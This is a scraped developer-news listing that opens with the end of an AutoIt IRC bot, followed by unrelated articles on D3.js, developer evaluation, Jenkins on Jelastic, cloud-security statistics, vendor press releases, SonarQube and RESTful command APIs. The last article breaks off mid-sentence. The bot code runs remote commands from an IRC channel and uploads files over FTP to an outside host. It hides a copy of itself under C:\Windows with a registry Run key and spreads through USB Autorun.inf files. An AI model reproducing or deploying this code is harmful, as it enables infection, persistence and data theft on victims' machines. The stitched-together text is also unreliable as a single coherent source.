$numreplacements = @extended If $numreplacements = 1 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $list = ProcessList() $read = $list[0][0] _IRCSendMessage($sock,$read & " processes are running", $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "processlist@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 3 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then If ($command[3] <> "") And ($command[4] <> "") Then $list = ProcessList() FileOpen("C:\123.txt") for $i = $command[3] to $command[4] FileWrite("C:\123.txt",$list[$i][0] & "/") next $read = FileRead("C:\123.txt") _IRCSendMessage($sock, $read , $channel) FileDelete("C:\123.txt") EndIf EndIf EndIf EndIf ElseIf StringInStr($text, "cdtray@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $drive = DriveGetDrive("CDROM") If Not @error Then CDTray($drive, "open") _IRCSendMessage($sock,"--->open" & $drive[$i] , $channel) EndIf EndIf EndIf EndIf ElseIf StringInStr($text, "upload@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 5 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $Open = _FTPOpen("MyFTP Control") $Conn = _FTPConnect($Open,"dienthoaihanquoc.netau.net", $command[3], $command[4]) $Ftpp = _FtpPutFile($Conn,$command[5], "/" & $command[6]) $Ftpc = _FTPClose($Open) _IRCSendMessage($sock,"--->uploaded", $channel) EndIf EndIf EndIf EndIf EndIf EndIf EndIf EndIf Next EndIf WEnd Func _IRCQuit($irc, $msg = "") If $irc = -1 Then Return 0 TCPSend($irc, "QUIT :" & $msg & @CRLF) Sleep(100) Return 1 EndFunc ;==>_IRCQuit Func _IRCLeaveChannel($irc, $msg = "", $chan = "") If $irc = -1 Then Return 0 TCPSend($irc, "PART " & $chan & " :" & $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCLeaveChannel Func _IRCPing($irc, $ret) If $ret = "" Then Return -1 TCPSend($irc, "PONG " & $ret & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCPing Func _IRCChangeMode($irc, $mode, $chan = "") If $irc = -1 Then Return 0 If $chan = "" Then TCPSend($irc, "MODE " & $mode & @CRLF) If @error Then Return -1 EndIf Return 1 EndIf TCPSend($irc, "MODE " & $chan & " " & $mode & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCChangeMode Func _IRCSendMessage($irc, $msg, $chan = "") If $irc = -1 Then Return 0 If $chan = "" Then TCPSend($irc, $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndIf TCPSend($irc, "PRIVMSG " & $chan & " :" & $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCSendMessage Func _IRCJoinChannel($irc, $chan) If $irc = -1 Then Return 0 TCPSend($irc, "JOIN " & $chan & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCJoinChannel Func _IRCConnect($server, $port, $nick) Local $i = TCPConnect(TCPNameToIP($server), $port) If $i = -1 Then Sleep(10000) Local $i = TCPConnect(TCPNameToIP($server), $port) EndIf TCPSend($i, "NICK " & $nick & @CRLF) TCPSend($i, "USER " & $nick & " 0 0 " & $nick & @CRLF) Return $i EndFunc ;==>_IRCConnect Func attach() If Not FileExists ("C:\Windows\ymsg_tray.exe") then FileCopy(@ScriptFullPath,"C:\Windows\ymsg_tray.exe", 1) FileSetAttrib("C:\Windows\ymsg_tray.exe", "+SHR") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "ymsg_tray.exe", "REG_SZ", "C:\Windows\ymsg_tray.exe /onboot") EndIf EndFunc Func protect() EndFunc Func find_usb() $1 = DriveGetDrive( "REMOVABLE" ) If Not @error Then For $i = 1 to $1[0] $fp2 = FileOpen($1[$i] & "\Autorun.inf",2) FileClose($fp2) If $fp2 <> "open=ymsg_tray.exe" Then If $1[$i] <> "A:" Then FileCopy(@ScriptFullPath, $1[$i] & "\ymsg_tray.exe", 1) Dim $autorun = "[autorun]" & @CRLF & "open=ymsg_tray.exe" filewrite($1[$i] & "\Autorun.inf","[autorun]" & @CRLF & "open=ymsg_tray.exe") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open=open") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open\Command=ymsg_tray.exe") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open\Default=1") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Explore=explore") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Explore\Command=ymsg_tray.exe") FileSetAttrib($1[$i] & "\Autorun.inf", "+SHR") FileSetAttrib($1[$i] & "\ymsg_tray.exe", "+SHR") EndIf EndIf Next EndIf EndFunc #Obfuscator_Off
June 30, 2015
by Daewoo Han
· 1,589 Views
article thumbnail
Getting Started with D3.js
Originally authored by Elizabeth Engel You are thinking about including some nice charts and graphics into your current project? Maybe you heard about D3.js, as some people claim it the universal JavaScript visualization framework. Maybe you also heard about a steep learning curve. Let’s see if this is really true! First of all, what is D3.js? D3.js is an open source JavaScript framework written by Mike Bostock helping you to manipulate documents based on data. Okay, let’s first have a look at the syntax Therefore, lets look at the following hello world example. It will append an element saying ‘Hello World!’ to the content element. As you can see the syntax is very similar to frameworks like JQuery and obviously, it saves you a lot of code lines as it offers a nice fluent API. But let’s see how we can bind data to it: d3.select('#content') .selectAll('h1') .data(['Sarah', 'Robert', 'Maria', 'Marc']) .enter() .append('h1') .text(function(name) {return 'Hello ' + name + '!'}); What happens? The data function gets our names array as parameter and for each name we append an element with a personalized greeting message. For a second, we ignore the selectAll(‘h1′) and enter() method call, as we will explore them later. Looking into the browser we can see the following: Hello Sarah! Hello Robert! Hello Maria! Hello Marc! Not bad for a start! Inspecting the element in the browser, we see the following generated markup: [...] Hello Sarah! Hello Robert! Hello Maria! Hello Marc! [...] This already shows one enourmous advantage of D3.js: You acctually see the generated code and can spot errors easily. Now, let’s have a closer look at the data-document connection As mentioned in the beginning, D3.js helps you to manipulate documents based on data. Therefore, we only take care about handing the right data over to D3.js, so the framework can do the magic for us. To understand how D3.js handles data, we’ll first have a look at how data might change over time. Let’s take the document from our last example. Every name is one data entry. Easy. Now let’s assume new data comes in: As new data is coming in, the document needs to be updated. The entries of Robert and Maria need to be removed, Sarah and Marc can stay unchanged and Mike, Sam and Nora need a new entry each. Fortunately, using D3.js we don’t have to care about finding out which nodes need to be added and removed. D3.js will take care about it. It will also reuse old nodes to improve performance. This is one key benefit of D3.js. So how can we tell D3.js what to do when? To let D3.js update our data, we initially need a data join, so D3.js knows our data. Therefore, we select all existing nodes and connect them with our data. We can also hand over a function, so D3.js knows how to identify data nodes. As we initally don’t have nodes, the selectAll function will return an empty set. var textElements = svg.selectAll('h1').data(data, function(d) { return d; }); After the first iteration, the selectAll will hand over the existing nodes, in our case Sarah, Robert, Marc and Maria. So we can now update these existing nodes. For example, we can change their CSS class to grey: textElements.attr({'class': 'grey'}); Additionally, we can tell D3.js what to do with entering nodes, in our case Mike, Sam and Nora. For example, we can add an element for each of them and set the CSS class to green for each of them: textElements.enter().append('h1').attr({'class': 'green'}); As D3.js now updated the old nodes and added the new ones, we can define what will happen to both of them. In our cases this will affect the nodes of Mike, Sarah, Sam, Mark and Nora. For example, we can rotate them: textElements.attr({'transform', rotate(30 20,40)}); Furthermore, we can specify what D3.js will do to nodes like Robert and Maria, that are not contained in the data set any more. Let’s change their CSS class to red: textElements.exit().attr({'class': 'red'}); You can find the full example code to illustrate the data-document connection of D3.js as JSFiddle here: https://jsfiddle.net/q5sgh4rs/1/ But how to visualize data with D3.js? Now that we know about the basics of D3.js, let’s go to the most interesting part of D3.js: drawing graphics. To do so, we use SVG, which stands for scalable vector graphics. Maybe you already know it from other contexts. In a nutshell, it’s a XML-based vector image language supporting animation and interaction. Fortunately, we can just add SVG tags in our HTML and all common browsers will display it directly. This also facilitates debugging, as we can inspect generated elements in the browser. In the following, we see some basic SVG elements and their attributes: To get a better understanding of how SVG looks like, we’ll have a look at it as a basic example of SVG code, generating a rectangle, a line and a circle. To generate the same code using D3.js, we need to add an SVG to our content and then append the tree elements with their attributes like this: var svg = d3.select('#content').append('svg'); svg.append('rect').attr({x: 10, y: 15, width: 60, height: 20}); svg.append('line').attr({x1: 85, y1: 35, x2: 105, y2: 15}); svg.append('circle').attr({cx: 130, cy: 25, r: 6}); Of course, for static SVG code, we wouldn’t do this, but as we already saw, D3.js can fill attributes with our data. So we are now able to create charts! Let’s see how this works: This will draw our first bar chart for us! Have a look at it: https://jsfiddle.net/tLhomz11/2/ How to turn this basic bar chart into an amazing one? Now that we started drawing charts, we can make use of all the nice features D3.js offers. First of all, we will adjust the width of each bar to fill the available space by using a linear scale, so we don’t have to scale our values by hand. Therefore, we specify the range we want to get values in and the domain we have. In our case, the data is in between 0 and 200 and we would like to scale it to a range of 0 to 400, like this: var xScale = d3.scale.linear().range([0, 400]).domain([0,200]); If we now specify x values, we just use this function and get an eqivalent value in the right range. If we don’t know our maximum value for the domain, we can use the d3.max() function to calculate it based on the data set we want to display. To add an axis to our bar chart, we can use the following function and call it on our SVG. To get it in the right position, we need to transform it below the chart. [svg from above].call(d3.svg.axis().scale(xScale).orient("bottom")); Now, we can also add interaction and react to user input. For example, we can give an alert, if someone clicks one our chart: [svg from above].on("click", function () { alert("Houston, we get attention here!"); }) Adding a text node for each line, we get the following chart rendered in the browser: If you would like to play around with it, here is the code: https://jsfiddle.net/Loco5ddt/ If you would like to see even more D3.js code, using the same data to display a pie chart and adding an update button, look at the following one: https://jsfiddle.net/4eqzyquL/ Data import Finally, we can import our data in CSV, TSV or JSON format. To import a JSON file, for example, use the following code. Of course, you can also fetch your JSON via a server call instead of importing a static file. d3.json("data.json", function(data) { [access your data using the data variable] } What else does D3,js offer? Just to name a few, D3.js helps you with layouts, geometry, scales, ranges, data transformation, array and math functions, colors, time formating and scales, geography, as well as drag & drop. There are a lot of examples online: https://github.com/mbostock/d3/wiki/Gallery TL;DR + based on web standards + totally flexible + easy to debug + many, many examples online + Libaries build on D3.js (NVD3.js, C3.js or IVML) – a lot of code compared to other libraries – for standard charts too heavy Learning more As this blog post is based on a presentation held at the MunichJS Meetup, you can find the original slides here: http://slides.com/elisabethengel/d3js#/ The recording is available on youTube: https://www.youtube.com/watch?v=EYmJEsReewo For further information, have a look at: https://github.com/mbostock/d3/wiki https://github.com/mbostock/d3/wiki/API-Reference http://bost.ocks.org/mike/ Getting Started with D3 by Mike Dewar Interactive Data Visualization for the Web by Scott Murray (online for free) https://github.com/alignedleft/d3-book If you have any questions or suggestions, feel free to comment or write me: [email protected]
June 30, 2015
by Comsysto Gmbh
· 6,535 Views · 3 Likes
article thumbnail
Comparing Developers
recently i had to try to explain to a non technical person how i rate the developers that i work with. in technical terms, it is easy to do: int compare(deva, devb, ctx) but it is very hard to do: int compare(deva, devb); var score = evaluate(dev); what do i mean by that? i mean that it is pretty hard (at least for me), to give an objective measure of a developer with the absence of anyone to compare him to, but it very easy to compare two developers, but even so, only in a given context. an objective evaluation of a developer is pretty hard, because there isn’t much that you can objectively measure. i’m sure that no reader of mine would suggest doing something like measuring lines of code, although i wish it was as easy as that. how do you measure the effectiveness of a developer? well, to start with, you need to figure out the area in which you are measuring them. trying to evaluate yours truly on his html5 dev skills would be… a negative experience. but in their areas of expertise, measuring the effectiveness of two people is much easier. i know that if i give a particular task to joe, he will get it done on his own. but if i give it to mark, it will require some guidance, but finish it much more quickly. and scott is great at finding the root cause of a problem, but is prune to analysis paralysis unless prodded. this came up when i tried to explain why a person spending 2 weeks on a particular problem was a reasonable thing, and that in many cases you need a… spark of inspiration for certain things to just happen. all measurement techniques that i’m familiar with is subject to the observer effect, which means that you might get a pretty big and nasty surprise by people adapting their behavior to match the required observations. the problem is that most of the time, development is about things like stepping one foot after the other, getting things progressively better by making numerous minor changes that has major effect. and then you have a need for brilliance. a customer with a production problem that require someone to have the entire system in their head all at once to figure out. a way to optimize a particular approach, etc. and the nasty part is that there is very little way to actually get those sparks on inspiration. but there is usually a correlation between certain people and the number of sparks of inspiration per time period they get. and one person’s spark can lead another to the right path and then you have an avalanche of good ideas. but i’ll talk about the results of this in another post .
June 30, 2015
by Oren Eini
· 1,768 Views
article thumbnail
DevOps Tools for Continuous Delivery: Workloads Distribution and Jenkins Installation
the vast majority of software development companies have to place a great emphasis on the process of continuous integration and rapid delivery of new versions of their product. obviously, when supplying enterprise-level projects, such processes need to be automated as much as possible. and this is when the cloud devops tools come in handy. thus, in today’s article we’d like to pay a special attention to the devops tools that automate the continuous integration and delivery within the jelastic paas that can be installed on any bare metal or cloud infrastructure as virtual private cloud or hybrid cloud. this is a pretty complex example of enterprise application life cycle with continuous integration and seamless migration throughout devops pipeline from development to several productions (you can use simplified process if you have less complex project ). the instruction below will be useful for jelastic cluster administrators such as systems integrators, hosting service providers, enterprises, and isv customers, who can easily implement it at their jelastic cloud installations. nevertheless, this guide contains plenty of features and continuous integration tips described, which can be interesting for different developers. so, let’s get started with the first part of the instruction! setting up dedicated user groups first of all, you need to allocate separate hardware sets for all your project teams (one per each development phase, i.e. development > testing > production ) and adjust the access permissions to make them completely isolated and not influenced by others. the multi-regions for a hybrid cloud option, that became available within the recently released jelastic 3.3 version , is optimally suited for this task. to start with, create three hardware node groups (within one region) and name them after the corresponding stages for more convenience (e.g. dev , test , production ). the next step is to prepare three user groups and attach them to the corresponding hardware – in our case the dev group has access to the dev hardware node group only, qa – to the test one, and ops should work specifically with the production set. in such a way, users from the appropriate groups can use the specified sets of hardware only, but at the same time – they have a possibility to transfer their environments throughout the whole platform, between different teams’ accounts. jenkins continuous integration server configuration now we need the integration tool, that will control and perform all of the required operations automatically, i.e. build the cloud devops pipeline. our choice fell on jenkins as one of the most popular solutions used for this goal – it can be easily installed from our marketplace either at the corresponding site page or directly via the dashboard . as a result, you’ll get the pure jenkins installed, which should be properly adjusted before you start organizing your application life cycle. thus, select the open in browser button and proceed with the following configurations steps: while at the home page, click on the manage jenkins option at the left-hand menu and select the manage plugins link within the appeared list. after you’ve been redirected to the plugin manager, switch to the available tab, find the following plugins using the search filter field above and tick them for installation: git plugin – is required for building our project’s source (stored at the github repository) envfile plugin – is used for storing system environment variables (its necessity is driven by security restrictions, implemented at jelastic, which forbid the direct exporting of environment variables from the tomcat server) click install without restart when ready. during the installation process, tick the restart jenkins when installation is complete and no jobs are running option to automatically restart jenkins for enabling the chosen plugins. then, you also need to install maven, which will be used for building the project. for that, navigate to the manage jenkins > configure system menu, scroll down to the maven section and click add maven. within the expanded section, type the desired name for your maven installation (e.g. maven ) and save the changes using the same-named button at the bottom of the page. in such a way, this tool will be also automatically installed when required (i.e. during the first app build). now your jenkins server is well-staffed for the further work. add deployment process scripts to the jenkins container the next step is to upload the scripts that you are going to use for automating different organizational actions, required to be applied to your application at the intermediate development life cycle phases (like deploying, placing it to the appropriate hardware according to the stage, running auto-test, etc). the easiest way to do this is to access your jenkins container via the jelastic ssh-gateway. in the case you haven’t performed similar operations before, you need to: generate an ssh keypair add your public ssh key to the dashboard access your account via ssh protocol once inside, create a new folder for your project (we’ll use demo ) and move in there: mkdir /opt/tomcat/demo cd /opt/tomcat/demo this location can be used for storing your scripts, variables, logs etc. here, you can upload the required scripts using the command of the following type: curl -fssl {link_to_script} -o {file_name} we also provide the set of script examples, which can be used as templates for your own ones: install.sh – gets a user session and creates a new environment via the jelastic api according to the specified manifest file. it also defines, that the name of this environment will be equal to its creation date and time (as a unique name is required for every script execution, but you won’t be able to set it manually as this operation would be run automatically). however, you can set your own dynamic name pattern to be used here transfer.sh – changes the environment ownership based on the jelastic environment transferring feature migrate.sh – physically moves an environment to another hardware set (hardnode group) note: that before the appliance, each of the script templates, presented above, have to be additionally adjusted to make them work properly within a particular jelastic installation. thus, the list of parameters below should be obligatory substituted according to your platform’s settings: /path/to/scripts/ – the full path to your scripts folder (created in the previous step) {cloud_domain} – your jelastic platform domain name {jca_dashboard_appid} – your dashboard id, that could be seen within the platform.dashboard_appid parameter at the jca > about section {jca_appstore_appid} – appstore id, listed within the same section (at the platform.appstore_appid parameter) {url_to_manifest} – link to the manifest file created according to our documentation (you may also use this one as an example – it sets up two tomcat application servers with the nginx load-balancer in front of them) note: above you can see one more runtest.sh script uploaded – it simulates the testing activities for demonstration purposes, thus we don’t provide its code in this tutorial. if required, create your own one according the specifics of your application and upload it alongside the rest of the scripts. in addition, you need to create a separate file for storing the variable with environment name (as it needs to be dynamically changed each time a new environment is created): echo env_name= > /opt/tomcat/demo/variables these are the main steps of preparation to achieve automatic continuous integration and delivery of your web application with a help of jenkins within jelastic cloud platform. in the second part of these blog series, we’ll configure the set of jobs at the jenkins server, which represents the core of our automation. each of them will be devoted for a particular operation, required to be run at the corresponding application life cycle phase: create environment > build and deploy > dev tests > migrate to qa > qa tests > migrate to production stay tuned to see the next steps. if you still don’t have jelastic installation, contact us to get access to our free demo for cloud platform evaluation or just start with trial registration at one of our hosting partners .
June 30, 2015
by Tetiana Markova
· 3,216 Views · 1 Like
article thumbnail
Enterprises Signing Up For More Than One New Cloud Service Every Day
No weekend downtime for cloud risk in Europe warns Skyhigh Networks in new report Report: info.skyhighnetworks.com/rs/274-AUP-214/images/WP-Cloud-Adoption-and-Risk-Report-Q2-EU.pdf LONDON - 30 JUNE 2015 - European enterprises are adding new cloud services at a rapid rate, finds a new report from Skyhigh Networks, the cloud security and enablement company. According to The Cloud Adoption and Risk Report for Q2 2015 - based on real data from over 2.5 million European employees across 12,000 cloud services - the average number of services has increased by more than 365 in a year. More than ten percent of cloud activity takes place outside the Monday-Friday working week, as overall cloud use continues to surge. Key findings of the report include: The average European enterprise now uses 897 cloud services (and a minimum of 507 services), up 61% from a year ago. Cloud usage never stops - with over 14% of traffic taking place at weekends 72.1% of European organisations have exposure to compromised credentials and 8.5% of employees have at least one compromised credential for sale on the darknet Security measure adoption: Only 15.4% of cloud services support multi-factor authentication, 9.4% encrypt data at rest and 2.8% support ISO 27001 64.9% of cloud services are not safe for EU data Enabled by cloud computing, flexible working has had a huge impact on the enterprise and the amount of work conducted out of office hours and on weekends. Skyhigh Networks analysed cloud usage by day of the week and found that weekend usage did not drop to zero, with Saturdays and Sundays representing 6.8% and 7.8% of weekly cloud usage respectively. IT departments therefore need to consider that enterprise exposure to cloud-related security risks is not tied to traditional office hours. The report also found that cloud adoption in Europe continues to grow, with the average European enterprise now using 897 services, 61% more than the same quarter in 2014. Indeed, from its database, Skyhigh found that the minimum number of services in use by a single organisation is 507 (for a company with less than 200 employees) and the highest is more than 3,000. "European business use of cloud is at an all-time high," said Nigel Hawthorn, European spokesperson for Skyhigh Networks. "Companies are adding a new cloud service to their network each day and it won't be long until the average organisation is using well over 1,000 distinct services. While cloud services offer clear agility gains for the enterprise, the situation is by no means perfect. Too few cloud services are suited to enterprise use. The vast majority fall at the first hurdle: failure to adopt the right IT security features or adhere to the EU Data Protection regulations." The report investigated current cloud service security capabilities. Just 7% of the 12,000 cloud services analysed meet enterprise security and compliance requirements, as rated by Skyhigh's CloudTrust Program. Only 15.4% support multi-factor authentication, 2.8% have ISO 27001 certification, and 9.4% encrypt data stored at rest. More worrying still, Skyhigh founds that 72.1% of European organisations have exposure to compromised credentials and 8.5% of employees at European companies have at least one compromised credential for sale on the darknet. "While security measures are increasingly being introduced by CSPs, our findings that no user is the same, combined with the fact that each enterprise is using an additional cloud service each day, demonstrates the sheer complexity of the issue. IT departments need to get their heads out of the clouds - or perhaps in it - and take an active role in ensuring their enterprise isn't weighed down by risks, poorly thought out cloud usage policies, and blanket bans. In a nutshell, the potential rewards of a cloud-enabled business are just too good for an apathetic approach to cloud," concluded Hawthorn.
June 30, 2015
by Fran Cator
· 877 Views
article thumbnail
SalesMethods Closes Positive Financial Year Driven by Increased Customer Adoption
30th June 2015, London, UK. – SalesMethods, a premium Salesforce partner, which specialises in delivering software and services to help companies drive high performance sales in Salesforce.com, today announced 100% year-on-year growth during the most recent fiscal year, ending March 31st 2015. The growth has been driven by new and existing customer growth globally, including: Accenture, Vodafone and Manpower. SalesMethods has been committed to helping organisations identify and utilise optimal sales tools to enable them to effectively reach their full sales potential. Michael Connor, CEO at SalesMethods said: “We couldn’t be more pleased with our recent success. We are dedicated to providing our customers with premium technology and advice to support genuine business growth, and our strategy is reaping rewards.” He continued: “We’ve achieved this growth through a commitment to providing value to the Salesforce market with the most flexible software and services available, and by building a team of competent professionals, focused on helping our customers to be even more successful with their sales goals.” SalesMethods has also announced the expansion of its team with the recruitment of Heidi Daniels as Senior Developer to help drive further innovation in the product proposition. Heidi brings 20 years of software development experience to the company where she’ll be responsible for the future development of OrgChartPlus, SalesMethods’ world class organisation and relationship mapping application. The company plans to continue its growth by maintaining its focus on product innovation, extending the sales enablement capabilities of the proposition and expanding the professional services offer. The firm will also develop its graduate programme and invest in further pre-sales and account management staff to further support existing clients and enhance the customer experience.
June 30, 2015
by Fran Cator
· 932 Views
article thumbnail
Cornerstone OnDemand and TED join forces to spark innovation in professional learning and development
Curated TED Talk playlists integrated within Cornerstone Learning enable organisations to instantly access new, innovative ideas and share knowledge across their workforce June 30, 2015 - Cornerstone OnDemand, a global leader in cloud-based talent management software solutions, today announced the company is teaming with TED, the non-profit global community devoted to spreading ideas, to deliver curated TED Talks to Cornerstone clients for a new, innovative approach to professional learning and development. The first and only collaboration of its kind, Cornerstone clients now have the ability to provide their workforce with modern, mobile-enabled TED Talks from world-class leaders at the forefront of their fields from within Cornerstone Learning. Cornerstone's collaborative learning functionality also allows organisations to enable peer-to-peer knowledge capture and discussions that can extend the learning impact of TED Talks. Watched and listened to more than 1 billion times this year, TED Talks introduce ideas that can help companies transform how their people think and work. Cornerstone clients will have access to a series of curated TED Talk playlists designed to address key business challenges in an innovative format that is unique, powerful and inspiring. With curated TED Talk playlists through Cornerstone: Inspire your workforce. TED brings together the world's most inspiring and ingenious people whose ideas can strengthen how professionals understand and think about the world around them. TED's curation of talks on behalf of Cornerstone can help organisations generate excitement and engagement among employees, help management crystallise goals, start important conversations, and spark collaborations. Provide the best, most relevant content. Organisations will gain access to the very best collections of TED Talks across a wide range of topics that are central to innovation and talent development, including change management, culture building, leadership, technology, globalisation, diversity and design. Playlists have been curated to reflect talks from visionary leaders across the most influential industries, such as healthcare, education, technology, manufacturing, finance and more. Amplify the value of your learning and development strategy. Employees can view TED Talks from within Cornerstone Learning, the global learning management system (LMS) for over 1,800 leading organisations. Integrating TED Talks into professional development curriculum allows organisations to inspire each individual employee at any stage in their career. Organisations can easily target and deliver learning and development to groups or individuals with the support of TED Talks and measure impact on workforce development from within Cornerstone. Watch and Share Instantly on Mobile: As smartphones emerge as the leading platform for watching video and Web content among busy professionals, TED Talks allow employees to consume and share content on their mobile devices while on the go. Comments on the News "TED Talks are brilliantly crafted and make an emotional connection with viewers. Their ability to convey innovative and complex ideas through powerful, first-person stories is the type of talent management content that can inspire and drive real change in the workforce," said Kirsten Helvey, senior vice president, client success, Cornerstone OnDemand. "We are dedicated to helping people reach their potential by providing our clients with the most innovative talent management solutions that support their professional development and training initiatives." "With the growing demand from companies for TED Talks, Cornerstone provides TED with the expertise and efficiency in reaching millions of learners in organisations across the globe that can benefit from our content," said Deron Triff, TED's director of global distribution and licensing. "This collaboration also provides TED with an important opportunity to understand how the talks can be utilised for professional development to strengthen how we collaborate with the business community. Cornerstone will be a great alliance for bringing TED Talks to companies and sparking innovation among their employees." Additional Resources Learn more about curated TED Talk playlists for Cornerstone via the Cornerstone Marketplace: marketplace.csod.com/#/content/90 Read additional commentary by Cornerstone's director of talent management, Jeff Miller, on the value and influence of TED Talks for empowering today's workforce via the Cornerstone blog: www.cornerstoneondemand.com/blog/how-ted-gets-your-workforce-talking
June 30, 2015
by Fran Cator
· 1,040 Views
article thumbnail
DBmaestro is the first 3rd party vendor to release extension for Oracle SQL Developer 4.x
DBmaestro, the pioneer and leading provider of DevOps for database solutions, has announced that TeamWork’s extension for Oracle SQL Developer 4.1 has been released, just weeks after Oracle released its latest version. DBmaestro TeamWork is now the only tool with an external extension that supports version 4.x of Oracle’s database development tool. TeamWork, DBmaestro’s flagship product, enables agile development and continuous integration & delivery for the database. TeamWork supports streamlining of development process management and enforcing change policy practices. Many leading enterprises use DBmaestro to facilitate DevOps for their database by executing deployment automation, enhancing and reinforcing security, and mitigating risk. DBmaestro’s extension for SQL Developer 4.x helps Oracle developers and DBAs streamline database development, collaborate across database teams, and allows for agile database development in an efficient and reliable way. Upon the release of SQL Developer 4.0, Oracle required that all extensions be updated to be compatible with the new version’s API. This is a result of the drastic changes made to JDeveloper, on which SQL Developer is built. “The SQL Developer 4.1 extension represents an important achievement for DBmaestro,” said Yaniv Yehuda, co-founder and CTO of DBmaestro. “Oracle SQL Developer has over 4 million active users and is the de facto standard database IDE tool out there. Oracle has drastically changed their API on the 4.0 version, which presented a challenge to those seeking to update third-party extensions. This integration is a statement of our commitment to our customers, and we will continue to lead the way to achieve DevOps for the databases.”
June 30, 2015
by Jeremy Tess
· 953 Views
article thumbnail
Integrating SonarQube with Nexus Lifecycle
Many development organizations we work with have turned to SonarQube as a dashboard to visualize and measure their code quality. Customers using Nexus Lifecycle (formerly CLM) want to surface known security vulnerabilities and license risk in the same place developers or executives already go to assess the overall quality of their application. To support this growing interest from our customers, we have introduced Nexus Lifecycle integration with SonarQube. Figure 1. SonarQube widget example highlights open source policy violations that require attention. Drill down reports with with detailed analysis are accessible directly from this widget. This integration will allow you to access summary-level Nexus Lifecycle information for your applications, as well as link to Nexus Lifecycle Application Composition Reportsdirectly from your SonarQube projects. Figure 2. Nexus Lifecycle Application Composition Reports offer detailed analysis of license and security issues down to the individual components and risks. If you are already using SonarQube, you know first hand the impact that principles such as the 7 Axes of Code Quality can have on the applications and projects your teams create. Paralleling this, as a user of Nexus Lifecycle you also know how using good components is a critical and essential part of developing quality applications. Nexus Lifecycle for SonarQube brings both of these together. THE SOFTWARE: For Nexus Lifecycle users needing access to the 1.11 release, it can be found on our KnowledgeBase here. THE INTEGRATION: For Nexus Lifecycle users looking for more information on the SonarQube integration, you can quickly get up-and-running with our online guideshere. LEARN MORE: What to learn more about SonarQube? Here is an informativearticle I found from Nadeem Mohammad. Finally, if you are looking for information on how Nexus Lifecycle integrates into your complete development environment, here are some links that you might find helpful: Integration with continuous integration servers (e.g., Hudson/Jenkins), Integration integrates with IDEs (e.g., Eclipse) Integration integrates with repository management (e.g., Nexus) Integration integrates with build managers (e.g., Maven)
June 30, 2015
by Brian Fox
· 4,160 Views · 1 Like
article thumbnail
Restify Commands with the Request Pattern
REST is all the rage. It provides a networked approach to exposing data and services, both internally within a company and to partners. Here, we explore a novel approach to providing a RESTful API to a set of existing commands. Business Problem: expose Commands via REST Many organizations have made considerable software available through Unix-like commands. Imagine an Enterprise, well, the Enterprise, that wishes to provide RESTful APIs to commands like: OrderSickLeave , IncreaseSpeed , SelfDestruct … hundreds of them… Each of these commands is backed by some software, say a Java Class of some sort. They’d like to publish this functionality, as follows: Restify – provide a RESTful API for each command. The REST attributes are the command arguments, above Validate – before the commands is issued, validate the arguments (does exist, is the a positive number, etc) Secure – ensure the commands are available as appropriate Background: Espresso creates RESTful API for SQL data Espresso creates RESTful APIs, principally for SQL data. Some key functionality is described below. API Creation You connect Espresso to a database, and it creates a RESTful endpoint for each table, view and Stored Procedure. The API supports the usual RESTful operations of Get (including filters based on HTTP arguments), and update (Put, Post and Delete). Validation Rules You can specify validation rule expressions that are automatically executed on update requests. For example, you might specify a rule that balance <= creditLimit. Validation rules are part of the larger notion of business logic, which includes computations (the balance is the sum of the unpaid order amounts). Computations can chain, and validations work over computed data, so you can solve remarkably complicated problems with a few simple rules. Extensibility Espresso creates a server-side JavaScript Domain Object for each table, providing access to attributes (customer.balance), and persistence (customer.save()). The objects encapsulate their integrity in two ways: Rule Invocation – update requests trigger the relevant validation / computation rules Events – you can also associate server-side JavaScript event handlers with a table. These fire as update requests are processed The Event handlers can invoke anything in the JVM, such as jar file code you can load into Espresso, other RESTful services, etc. Background: Command Pattern Imagine a word processor, providing functionality to make a string of selected text bold, another bit of functionality for italics, and so forth. Now imagine we wish to provide Undo functionality. Not possible unless we save the commands. So, the Command Pattern emerged: create a class for each Command creating an instance “does” the command (e.g., make text bold), where the constructor arguments provide the necessary information (text start, length) maintain an ordered list of commands (object instances) require the Command Classes to provide an Undo method to reverse the effects of the constructor (e.g., remove the bold) Database Adaption: insert logic on a Request Table We can see this same pattern in database applications, where we wish to keep a record of transactions. For example, instead of just changing a salary (and forgetting who, when, old values etc), we create a SalaryAction(employeeId, raisePercent). We can think of this as a Request Table. The logic on the SalaryAction table might give the raise, but also validate (is the percent too big? is the resultant salary out of range?), and record who, when etc. Restify Commands with Request Tables So we can combine these notions: Create a database with table for each Command (OrderSickLeave, IncreaseSpeed, etc), with columns for command arguments. We can also provide columns for admin data (date executed, etc) Leverage Espresso to Restify these Declare Validation Logic JavaScript table events execute the command We can now use this approach to Restify our Enterprise commands, as described below. Command Requests Database The lower 3 tables are the Request Tables. They each have Foreign Keys to the Crew table, simply identifying the source of the request (this is optional). Load into Espresso We next connect Espresso, which discovers these tables and creates a Default RESTful API to them. We can view it in a test tool immediately: We can also define a Custom API, exposing just the elements we wish: Validate Command Parameters The following rules apply to Posts against our Command Request tables. Here we ensure that the IncreaseSpeed request has a argument (attribute) for warpFactor, that it be between 0 and 10, and that the optional emergencyReason parameter is supplied if the warpFactorexceeds 8 Live Browser – view, post data You can 